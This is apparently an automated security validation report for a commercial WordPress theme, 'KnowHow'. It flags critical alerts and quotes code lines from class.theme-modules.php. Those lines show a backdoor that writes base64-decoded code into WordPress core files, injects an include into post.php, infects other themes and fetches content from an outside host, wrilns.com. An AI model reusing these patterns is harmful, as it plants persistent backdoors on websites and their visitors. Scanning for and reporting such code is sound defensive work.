Validation results

KnowHow

7 WARNINGS

KnowHow

WordPress 6.7 theme

CHANGE BANNER STYLE :

THEME TYPEWordPress theme 6.7
FILE NAMEknowhow.zip
FILE SIZE837499 bytes
MD56dba95193662ee2534ccfd2da88456e5
SHA1ea8423da191ceab992cec8fbe508a172afcdd085
LICENSECustom
FILES INCLUDEDCSS, PHP, XML, Bitmap images, Adobe Illustrator
THEME URIhttps://herothemes.com/?=knowhow
VERSION1.1.17
AUTHOR URIhttps://herothemes.com/
CREATION DATE2019-11-03
LAST FILE UPDATE2019-11-03
LAST VALIDATION2019-11-03 11:13
OTHER VERSIONS
1.1.18 : 53%
1.1.16 : 0%

This theme seems to be proprietary. Themecheck doesn't distribute commercial themes.

Critical alerts

Title : Title The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
Security breaches : Modification of PHP server settings Found ini_set in file class.theme-modules.php. 5: ini_set('display_errors', 0);
Security breaches : Use of base64_decode() Found base64_decode in file class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )95: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
Malware : Operations on file system file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);
Admin menu : Themes should use add_theme_page() for adding admin pages. File about.php : 61: add_menu_page(File about.php : 76: $about = add_submenu_page(

Warning

theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
Text domain : Incorrect use of translation functions.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are knowhow, meta-box.
Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
Screenshot : Screenshot fileScreenshot size is 300x225px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".

Tip-off

Static links : Presence of hard-coded linksPossible hard-coded links were found in the file support.php.10: <p class='about-description'>Still need help with Meta Box? We offer excellent support for you. But don't forget to check our <a href='https://docs.metabox.io?utm_source=WordPress&utm_medium=link&utm_campaign=pPossible hard-coded links were found in the file core.php.38: $links[] = '<a href='https://docs.metabox.io'>' . esc_html__( 'Documentation', 'meta-box' ) . '<39: $links[] = '<a href='https://metabox.io/plugins/' style='color: #39b54a; font-weight: bold'>' .
Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
Use of includes : Use of include or requireThe theme appears to use include or require : config.php 5: require($wp_include); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : interface.php 1: <?php require_once('config.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : class.theme-modules.php 48: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : video.php 137: require_once( RWMB_INC_DIR . 'templates/video.php' ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : widget-functions.php 8: require('widget-articles.php');11: require('widget-popular-articles.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

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